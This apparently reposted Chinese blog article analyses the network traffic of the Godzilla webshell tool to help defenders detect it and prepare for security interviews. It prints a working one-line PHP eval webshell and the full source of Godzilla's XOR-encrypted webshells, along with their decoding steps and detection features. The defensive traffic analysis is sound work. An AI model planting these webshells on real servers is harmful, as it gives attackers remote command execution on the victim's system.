概述
文末有工具链接。
此工具于 2020 年开发,初代代码一万多行,与其它早期 Webshell 工具相比不同的是,此工具可兼容多种后渗透插件,轻便且自带多种加密方式,支持 ASP、JSP、PHP 等语言。
通过流量分析有助于我们了解工具的数据传输方式和特征,找工作、HW 面试高频题,便于做安全防护,也可以学学工具的工作思路,便于自己做工具开发。
相对于蚁剑来说用的比较多,比较好二开、魔改。
环境构建
首先创建一句话木马文件(shell.php),内容如下。
<?php eval($_POST['cmd']); ?>
将木马上传到目标系统。
然后通过哥斯拉连接木马,密码是 cmd
,密钥使用默认的 key
即可,并将哥斯拉的代理设置为 127.0.0.1:8080
。
最后使用 Burpsuite 抓包即可。
不同加密器分析
哥斯拉不同于其它工具的是,哥斯拉发送测试连接的包成功后会出现 3 个包,失败的情况下是 2 个包。
EVAL_XOR_BASE64
在第一个数据包中,明显的是没有 cookie,并发送了大量的数据(都是预先要定义好的函数,后续将使用相关的函数方法进行操作),然后响应包中无响应内容,只是设置了一个 cookie 值(phpsession)。
在第二个包中可以看到,第一个响应包内的 cookie 值在第二个请求包中存在了,且响应内容不为空。
第三个包是点击 success 后出现的,和第二个包基本一样。
接着往后看,选择进入
后发现发送了几个请求包,注意看请求包内容,密码是我们设置的 cmd
,密钥则是 key
。
上图中,程序通过 cmd
(密码)传输数据给目标,这里我们就可以尝试解码这段内容。
将 cmd
后面的内容复制出来,先 url 解码一下,就能看到以下内容。
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
这部分数据是一堆代码,目标接收后外面四层代码执行逻辑是:先对内容进行 url 解码,然后翻转字符串,最后进行 base64 解码后给 eval 执行。
紧接着我们对引号中的源码进行解码操作,结果如下:
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
上述代码在目标设备上被 eval 执行后,又会将请求包中密钥 key
后面的内容取过来解密,请求包中密钥 key
后的值看似是 base64,实则进行了异或加密。
到这里,我们知道了密码(cmd)、密钥(key)和大致工作原理后,我们就可以拿哥斯拉执行命令的数据包使用大佬的工具进行解密了,当然也可以自己写代码解密哈。
接下来进入命令行执行 whoami
,并分别对请求包数据和响应包数据进行解密。
-
将密码和密钥填入,有效载荷和加密器选择正确,然后将 key 后面的值复制进去即可,此时请求包可以看到命令 whoami
,调用了execCommand
方法。
-
响应包中可以看到回显了当前用户。
其他加密器
XOR_RAW
和 XOR_BASE64
,这两个都需要使用哥斯拉客户端生成马子才能正常连接,不能使用我们自己写的马子。
XOR_BASE64
生成马子
生成的马子源码如下
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='cmd';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
流程还是一样,测试时第一个请求包无 cookie,发送了大量配置信息,响应包无响应内容,生成了 cookie(phpsession)。
第二三个包则基本是一样的,主要是发送测试信息,并且发现此时抓包只能看到密码(cmd),没有了密钥(key)。
通过马子的源代码发现,请求包数据通过 cmd 传输的内容是先进行 base64 编码,然后和密钥 key 一起进行异或加密(通过 encode 函数得知)的结果。
这里相当于根据马子的代码逻辑反推数据发送者的代码逻辑。
所以此时想要对数据进行解密,只能先确定马子的路径,然后通过马子的源代码获取密钥和异或算法。
这是 hash 后的密钥,是对明文密钥(key)进行 MD5 后取前 16 位的结果。
接下来执行 whoami
,并对请求包和响应包数据进行解密。
-
将密码和密钥填入,勾选加密后的 key,有效载荷和加密器选择正确,然后将请求包 cmd 后面的值复制进去即可,此时请求包看到命令 whoami
,调用了execCommand
方法。
-
响应包中可以看到回显了当前用户。
XOR_RAW
生成马子
生成的马子源码如下
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
依然是先发送三个包(可以自己抓包看看)。
XOR_RAW
的请求包数据完全看不懂,因为传输的是二进制数据,通过源码可知目标是通过 php://input
接收的二进制数据。
我们发现请求包中既没看到密码(cmd),也没看到密钥(key),看了源码后你就会发现密码是本来就没有的,密钥在马子的源码中可以获取。
所以这里工具解密的话需要先将二进制数据转为十六进制数据,可以通过在马子的最后添加如下代码实现。
echo 'aaaa';
$data=file_get_contents("php://input");
$hexdata=bin2hex($data);
echo $hexdata;
然后抓取执行命令 whoami
的响应包(一定要在 http history 查看,不要开启拦截功能),将 aaaa
后面的内容全部复制出来就能得到十六进制数据进行解密操作了。
特征
强特征:
-
链接失败情况下生成 2 个数据包,成功为 3 个数据包。
请求和响应特征:
-
第一个请求总会发送大量数据,这是配置信息,且请求包内无 cookie,服务器响应包无内容,生成一个 cookie(phpsession),后续请求会带上此 session 到请求包的 cookie 中。 -
强特征,生成的 cookie 后面有个分号,这个不知道是不是作者忘记去除了,你可以去抓个其它正常网站的包看看,这里一般情况下应该没有才对。
用户代理(UA)特征:
-
UA 可能为 jdk 版本号,哥斯拉可以修改 UA,弱特征,可以做为辅助验证。
Accept 字段特征:
-
我们分析的版本是: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
,同样作为弱特征,容易去除。
响应内容特征:
-
响应内容中,哥斯拉会把 32 位的 MD5(密码+密钥) 从中间拆分成两部分放在 base64 前后,也可以作为特征之一,除了 XOR_RAW
没这个玩法。
请求体内容特征:
-
较强特征,此检测方法较特殊,排除我们第一个分析的 PHP_EVAL_XOR_BASE64 特征较强之外,其它 shell 在判断时,安全设备误报率较高,因为需要 key 解密才知道传输的数据是什么,而安全设备无法直接拿到 key ,故无法进行解密,这个需要人工自行判定并定位到马子源文件。
注意
上述分析都是默认情况下对原版工具的分析,未对加密改动的情况进行分析,因为原作者早已不更新了,所以圈内也出现了很多二开版本,比如增加加密方式、把流量混淆、对已有的特征进行消除等都有可能,不作为二开版本分析依据。
原文始发于微信公众号(大伯为安全):面试必备 | 再谈流量分析—哥斯拉(金针菇一样细)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论